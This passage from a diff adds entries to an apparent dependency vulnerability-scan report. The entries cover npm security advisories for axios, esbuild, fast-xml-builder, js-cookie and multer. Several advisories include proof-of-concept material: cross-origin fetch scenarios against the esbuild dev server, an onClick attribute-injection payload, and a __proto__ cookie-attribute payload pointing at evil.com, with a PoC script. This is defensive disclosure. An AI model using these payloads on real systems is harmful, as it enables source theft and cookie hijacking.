\n} \n \nconst normalizeNoProxyHost = (hostname) =\u003e { \n if (!hostname) return hostname; \n if (hostname[0] === '[' \u0026\u0026 hostname.at(-1) === ']')\n hostname = hostname.slice(1, -1); \n hostname = hostname.replace(/\\.+$/, '').toLowerCase();\n \n let m; \n if ((m = hostname.match(ipv4MappedDotted))) return m[1]; \n if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]); \n return hostname; \n};\n\n```\n\n### Impact\nAny application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.",
+ "id": "GHSA-pjwm-pj3p-43mv",
+ "modified": "2026-06-01T20:14:14.288658251Z",
+ "published": "2026-05-29T15:59:30Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/security/advisories/GHSA-pjwm-pj3p-43mv"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/axios/axios"
+ }
+ ],
+ "related": [
+ "CGA-57w2-2w5g-vg5w"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "esbuild",
+ "version": "0.21.5",
+ "ecosystem": "npm"
+ },
+ "dependency_groups": [
+ "dev"
+ ],
+ "groups": [
+ {
+ "ids": [
+ "GHSA-67mh-4wv8-2f99"
+ ],
+ "aliases": [
+ "GHSA-67mh-4wv8-2f99"
+ ],
+ "max_severity": "5.3"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 0.24.2",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/02/GHSA-67mh-4wv8-2f99/GHSA-67mh-4wv8-2f99.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "esbuild",
+ "purl": "pkg:npm/esbuild"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.25.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-346"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-02-10T17:48:07Z",
+ "nvd_published_at": null,
+ "severity": "MODERATE"
+ },
+ "details": "### Summary\n\nesbuild allows any websites to send any request to the development server and read the response due to default CORS settings.\n\n### Details\n\nesbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.\n\nhttps://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121\nhttps://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363\n\n**Attack scenario**:\n\n1. The attacker serves a malicious web page (`http://malicious.example.com`).\n1. The user accesses the malicious web page.\n1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.\n1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.\n\nIn this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by\n\n- Fetching `/index.html`: normally you have a script tag here\n- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files\n- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e =\u003e console.log(e.type, e.data))`)\n- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file\n\nThe scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.\n\n### PoC\n\n1. Download [reproduction.zip](https://github.com/user-attachments/files/18561484/reproduction.zip)\n2. Extract it and move to that directory\n1. Run `npm i`\n1. Run `npm run watch`\n1. Run `fetch('http://127.0.0.1:8000/app.js').then(r =\u003e r.text()).then(content =\u003e console.log(content))` in a different website's dev tools.\n\n\n\n### Impact\n\nUsers using the serve feature may get the source code stolen by malicious websites.",
+ "id": "GHSA-67mh-4wv8-2f99",
+ "modified": "2026-02-04T02:50:58.022803Z",
+ "published": "2025-02-10T17:48:07Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/evanw/esbuild/commit/de85afd65edec9ebc44a11e245fd9e9a2e99760d"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/evanw/esbuild"
+ }
+ ],
+ "related": [
+ "CGA-46mq-4mfm-mq46"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "esbuild enables any website to send any requests to the development server and read the response"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "fast-xml-builder",
+ "version": "1.1.5",
+ "ecosystem": "npm"
+ },
+ "dependency_groups": [
+ "optional"
+ ],
+ "groups": [
+ {
+ "ids": [
+ "GHSA-45c6-75p6-83cc"
+ ],
+ "aliases": [
+ "CVE-2026-44664",
+ "GHSA-45c6-75p6-83cc"
+ ],
+ "max_severity": "6.1"
+ },
+ {
+ "ids": [
+ "GHSA-5wm8-gmm8-39j9"
+ ],
+ "aliases": [
+ "CVE-2026-44665",
+ "GHSA-5wm8-gmm8-39j9"
+ ],
+ "max_severity": "8.7"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-45c6-75p6-83cc/GHSA-45c6-75p6-83cc.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "fast-xml-builder",
+ "purl": "pkg:npm/fast-xml-builder"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.1.5"
+ },
+ {
+ "fixed": "1.1.6"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ],
+ "versions": [
+ "1.1.5"
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44664"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-91"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-08T16:27:28Z",
+ "nvd_published_at": "2026-05-13T16:16:58Z",
+ "severity": "MODERATE"
+ },
+ "details": "# Summary\nThe fix for https://github.com/advisories/GHSA-gh4j-gqv2-49f6 in fast-xml-parser sanitizes `--` sequences in XML comment content using .replace(/--/g, '- -'). This skip the values containing three consecutive dashes (e.g., ---\u003e...), allowing an attacker to break out of an XML comment and inject arbitrary XML/HTML content.\n\n### Impact\nAny application with comment property enabled allow attacker to inject malicious or unwanted code like JS script tag in the XML/HTML output.\n\n### Workarounds\nCheck for the presence of 3 consecutive dashes externally in the property value used for comment tag.",
+ "id": "GHSA-45c6-75p6-83cc",
+ "modified": "2026-05-14T20:48:44.040133Z",
+ "published": "2026-05-08T16:27:28Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/NaturalIntelligence/fast-xml-builder/security/advisories/GHSA-45c6-75p6-83cc"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44664"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/NaturalIntelligence/fast-xml-builder"
+ }
+ ],
+ "related": [
+ "CGA-7hpm-mm6g-4846"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "fast-xml-builder Comment Value regex can be bypassed"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 1.1.6",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-5wm8-gmm8-39j9/GHSA-5wm8-gmm8-39j9.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "fast-xml-builder",
+ "purl": "pkg:npm/fast-xml-builder"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.1.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44665"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-611",
+ "CWE-91"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-08T16:29:10Z",
+ "nvd_published_at": "2026-05-13T16:16:59Z",
+ "severity": "HIGH"
+ },
+ "details": "# Summary\nWhen an input data has quotes in attribute values but process entities is not enabled, it breaks the attribute value into multiple attributes. This gives the room for an attacker to insert unwanted attributes to the XML/HTML.\n\n## Detail\n\nMalicious Input\n```\n{\n a: {\n \"@_attr\": '\" onClick=\"alert(1)'\n }\n}\n```\n\nOutput\n```xml\n\u003ca attr=\"\" onClick=\"alert(1)\"\u003e\u003c/a\u003e\n```\n\n### Workarounds\nIf you're not ignoring attributes then keep processEntities flag true.",
+ "id": "GHSA-5wm8-gmm8-39j9",
+ "modified": "2026-05-14T20:48:46.153952Z",
+ "published": "2026-05-08T16:29:10Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/NaturalIntelligence/fast-xml-builder/security/advisories/GHSA-5wm8-gmm8-39j9"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44665"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/NaturalIntelligence/fast-xml-builder"
+ }
+ ],
+ "related": [
+ "CGA-597g-f23h-f9v7"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "type": "CVSS_V3"
+ },
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "fast-xml-builder allows attribute values with unwanted quotes to bypass malicious or unwanted attributes"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "js-cookie",
+ "version": "3.0.5",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-qjx8-664m-686j"
+ ],
+ "aliases": [
+ "CVE-2026-46625",
+ "GHSA-qjx8-664m-686j"
+ ],
+ "max_severity": "7.5"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 3.0.5",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-qjx8-664m-686j/GHSA-qjx8-664m-686j.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "js-cookie",
+ "purl": "pkg:npm/js-cookie"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "3.0.7"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-46625"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1321"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-21T21:20:31Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "## Summary\n\n`js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `\"__proto__\"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys.\n\nBecause the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down.\n\n## Impact\n\nAny application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend:\n\n```js\nconst cfg = await fetch('/config').then(r =\u003e r.json());\nCookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker\n```\n\nA payload of `{\"__proto__\":{\"domain\":\"evil.example\",\"secure\":\"false\",\"samesite\":\"None\"}}` causes js-cookie to emit:\n\n```\nSet-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None\n```\n\n## Affected code\n\n```js\n// src/assign.mjs — full file\nexport default function (target) {\n for (var i = 1; i \u003c arguments.length; i++) {\n var source = arguments[i]\n for (var key in source) { // includes own enumerable '__proto__'\n target[key] = source[key] // [[Set]] form - fires __proto__ setter\n }\n }\n return target\n}\n```\n## Proof of concept\n\nNode 22.11.0, no third-party deps:\n\n### Environment setup\n```bash\nmkdir -p /tmp/jscookie-poc \u0026\u0026 cd /tmp/jscookie-poc\nnpm init -y\nnpm i js-cookie\n```\n\n### PoC\n```js\nubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs\nlet lastSetCookie = '';\nglobalThis.document = {\n get cookie() { return ''; },\n set cookie(v) { lastSetCookie = v; }\n};\n\nconst { default: Cookies } = await import('js-cookie');\n\nconst attackerAttrs = JSON.parse(\n '{\"__proto__\":{\"secure\":\"false\",\"domain\":\"evil.com\",\"samesite\":\"None\",\"expires\":-1}}'\n);\n\nCookies.set('session', 'TOKEN', attackerAttrs);\n\nconsole.log('Set-Cookie that js-cookie wrote to document.cookie:');\nconsole.log(lastSetCookie);\n```\n\nExecution:\n\u003cimg width=\"2614\" height=\"1174\" alt=\"cls-2026-05-14-01 44 39\" src=\"https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62\" /\u003e\n\n## Suggested patch\n\n```diff\n--- a/src/assign.mjs\n+++ b/src/assign.mjs\n@@\n export default function (target) {\n for (var i = 1; i \u003c arguments.length; i++) {\n var source = arguments[i]\n- for (var key in source) {\n- target[key] = source[key]\n- }\n+ for (var key in source) {\n+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue\n+ Object.defineProperty(target, key, {\n+ value: source[key],\n+ writable: true,\n+ enumerable: true,\n+ configurable: true,\n+ })\n+ }\n }\n return target\n }\n```\n\nEquivalent one-liner alternative - iterate own names only and filter:\n\n```js\nfor (const key of Object.getOwnPropertyNames(source)) {\n if (key === '__proto__') continue\n target[key] = source[key]\n}\n```",
+ "id": "GHSA-qjx8-664m-686j",
+ "modified": "2026-05-23T04:44:20.155573157Z",
+ "published": "2026-05-21T21:20:31Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/js-cookie/js-cookie"
+ }
+ ],
+ "related": [
+ "CGA-4pmp-f695-fjm9"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection"
+ }
+ ]
+ },
+ {
+ "package": {
+ "name": "multer",
+ "version": "1.4.5-lts.2",
+ "ecosystem": "npm"
+ },
+ "groups": [
+ {
+ "ids": [
+ "GHSA-44fp-w29j-9vj5"
+ ],
+ "aliases": [
+ "CVE-2025-47935",
+ "GHSA-44fp-w29j-9vj5"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-4pg4-qvpc-4q3h"
+ ],
+ "aliases": [
+ "CVE-2025-47944",
+ "GHSA-4pg4-qvpc-4q3h"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-5528-5vmv-3xc2"
+ ],
+ "aliases": [
+ "CVE-2026-3520",
+ "GHSA-5528-5vmv-3xc2"
+ ],
+ "max_severity": "8.7"
+ },
+ {
+ "ids": [
+ "GHSA-fjgf-rc76-4x9p"
+ ],
+ "aliases": [
+ "CVE-2025-7338",
+ "GHSA-fjgf-rc76-4x9p"
+ ],
+ "max_severity": "7.5"
+ },
+ {
+ "ids": [
+ "GHSA-g5hg-p3ph-g8qg"
+ ],
+ "aliases": [
+ "CVE-2025-48997",
+ "GHSA-g5hg-p3ph-g8qg"
+ ],
+ "max_severity": "8.7"
+ },
+ {
+ "ids": [
+ "GHSA-v52c-386h-88mc"
+ ],
+ "aliases": [
+ "CVE-2026-2359",
+ "GHSA-v52c-386h-88mc"
+ ],
+ "max_severity": "8.7"
+ },
+ {
+ "ids": [
+ "GHSA-xf7r-hgr6-v32p"
+ ],
+ "aliases": [
+ "CVE-2026-3304",
+ "GHSA-xf7r-hgr6-v32p"
+ ],
+ "max_severity": "8.7"
+ }
+ ],
+ "vulnerabilities": [
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-44fp-w29j-9vj5/GHSA-44fp-w29j-9vj5.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "multer",
+ "purl": "pkg:npm/multer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.0.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-47935"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-401"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-05-19T22:04:17Z",
+ "nvd_published_at": "2025-05-19T20:15:25Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\n\nMulter \u003c2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal `busboy` stream is not closed, violating Node.js stream safety guidance.\n\nThis leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.\n\n\n### Patches\n\nUsers should upgrade to `2.0.0`\n\n\n### Workarounds\n\nNone\n\n### References\n\n- https://github.com/expressjs/multer/pull/1120\n- https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665",
+ "id": "GHSA-44fp-w29j-9vj5",
+ "modified": "2026-02-04T03:01:20.753530Z",
+ "published": "2025-05-19T22:04:17Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/security/advisories/GHSA-44fp-w29j-9vj5"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47935"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/pull/1120"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/expressjs/multer"
+ }
+ ],
+ "related": [
+ "CGA-8xg2-m9vq-jfxr"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Multer vulnerable to Denial of Service via memory leaks from unclosed streams"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-4pg4-qvpc-4q3h/GHSA-4pg4-qvpc-4q3h.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "multer",
+ "purl": "pkg:npm/multer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.4.4-lts.1"
+ },
+ {
+ "fixed": "2.0.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-47944"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-248"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-05-19T22:16:30Z",
+ "nvd_published_at": "2025-05-19T20:15:26Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\nA vulnerability in Multer versions \u003e=1.4.4-lts.1 allows an attacker to trigger a Denial of Service (DoS) by sending a malformed multi-part upload request. This request causes an unhandled exception, leading to a crash of the process.\n\n### Patches\nUsers should upgrade to `2.0.0`\n\n### Workarounds\nNone\n\n### References\n\n- https://github.com/expressjs/multer/issues/1176\n- https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665",
+ "id": "GHSA-4pg4-qvpc-4q3h",
+ "modified": "2026-02-04T04:34:58.000033Z",
+ "published": "2025-05-19T22:16:30Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/security/advisories/GHSA-4pg4-qvpc-4q3h"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47944"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/issues/1176"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/expressjs/multer"
+ }
+ ],
+ "related": [
+ "CGA-3pfw-h9j7-554q"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Multer vulnerable to Denial of Service from maliciously crafted requests"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-5528-5vmv-3xc2/GHSA-5528-5vmv-3xc2.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "multer",
+ "purl": "pkg:npm/multer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "2.1.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-3520"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-674"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-03-05T00:27:50Z",
+ "nvd_published_at": "2026-03-04T17:16:22Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\n\nA vulnerability in Multer versions \u003c 2.1.1 allows an attacker to trigger a Denial of Service (DoS) by sending malformed requests, potentially causing stack overflow.\n\n### Patches\n\nUsers should upgrade to `2.1.1`\n\n### Workarounds\n\nNone\n\n### Resources\n\n- https://github.com/expressjs/multer/security/advisories/GHSA-5528-5vmv-3xc2\n- https://www.cve.org/CVERecord?id=CVE-2026-3520\n- https://github.com/expressjs/multer/commit/7e66481f8b2e6c54b982b34c152479e096ce2752\n- https://cna.openjsf.org/security-advisories.html",
+ "id": "GHSA-5528-5vmv-3xc2",
+ "modified": "2026-03-06T23:43:55.105849Z",
+ "published": "2026-03-05T00:27:50Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/security/advisories/GHSA-5528-5vmv-3xc2"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3520"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/commit/7e66481f8b2e6c54b982b34c152479e096ce2752"
+ },
+ {
+ "type": "WEB",
+ "url": "https://cna.openjsf.org/security-advisories.html"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/expressjs/multer"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.cve.org/CVERecord?id=CVE-2026-3520"
+ }
+ ],
+ "related": [
+ "CGA-432f-7mj6-gpqf"
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
+ "type": "CVSS_V4"
+ }
+ ],
+ "summary": "Multer Vulnerable to Denial of Service via Uncontrolled Recursion"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-fjgf-rc76-4x9p/GHSA-fjgf-rc76-4x9p.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "multer",
+ "purl": "pkg:npm/multer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.4.4-lts.1"
+ },
+ {
+ "fixed": "2.0.2"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-7338"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-248"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-07-17T21:01:54Z",
+ "nvd_published_at": "2025-07-17T16:15:35Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\n\nA vulnerability in Multer versions \u003e= 1.4.4-lts.1, \u003c 2.0.2 allows an attacker to trigger a Denial of Service (DoS) by sending a malformed request. This request causes an unhandled exception, leading to a crash of the process.\n\n### Patches\n\nUsers should upgrade to `2.0.2`\n\n### Workarounds\n\nNone",
+ "id": "GHSA-fjgf-rc76-4x9p",
+ "modified": "2025-07-17T21:44:33.348037Z",
+ "published": "2025-07-17T21:01:54Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/security/advisories/GHSA-fjgf-rc76-4x9p"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7338"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/commit/adfeaf669f0e7fe953eab191a762164a452d143b"
+ },
+ {
+ "type": "WEB",
+ "url": "https://cna.openjsf.org/security-advisories.html"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/expressjs/multer"
+ }
+ ],
+ "schema_version": "1.7.3",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Multer vulnerable to Denial of Service via unhandled exception from malformed request"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-g5hg-p3ph-g8qg/GHSA-g5hg-p3ph-g8qg.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "multer",
+ "purl": "pkg:npm/multer"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.4.4-lts.1"
+ },
+ {
+ "fixed": "2.0.1"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2025-48997"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-248"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-06-05T01:09:35Z",
+ "nvd_published_at": "2025-06-03T19:15:39Z",
+ "severity": "HIGH"
+ },
+ "details": "### Impact\n\nA vulnerability in Multer versions \u003e=1.4.4-lts.1, \u003c2.0.1 allows an attacker to trigger a Denial of Service (DoS) by sending an upload file request with an empty string field name. This request causes an unhandled exception, leading to a crash of the process.\n\n### Patches\n\nUsers should upgrade to `2.0.1`\n\n### Workarounds\n\nNone\n\n### References\n\nhttps://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9\nhttps://github.com/expressjs/multer/issues/1233\nhttps://github.com/expressjs/multer/pull/1256",
+ "id": "GHSA-g5hg-p3ph-g8qg",
+ "modified": "2026-02-04T03:38:31.723020Z",
+ "published": "2025-06-05T01:09:35Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/security/advisories/GHSA-g5hg-p3ph-g8qg"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48997"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/issues/1233"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/pull/1256"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9"
+ },
+ {
+ "type": "PACKAGE",
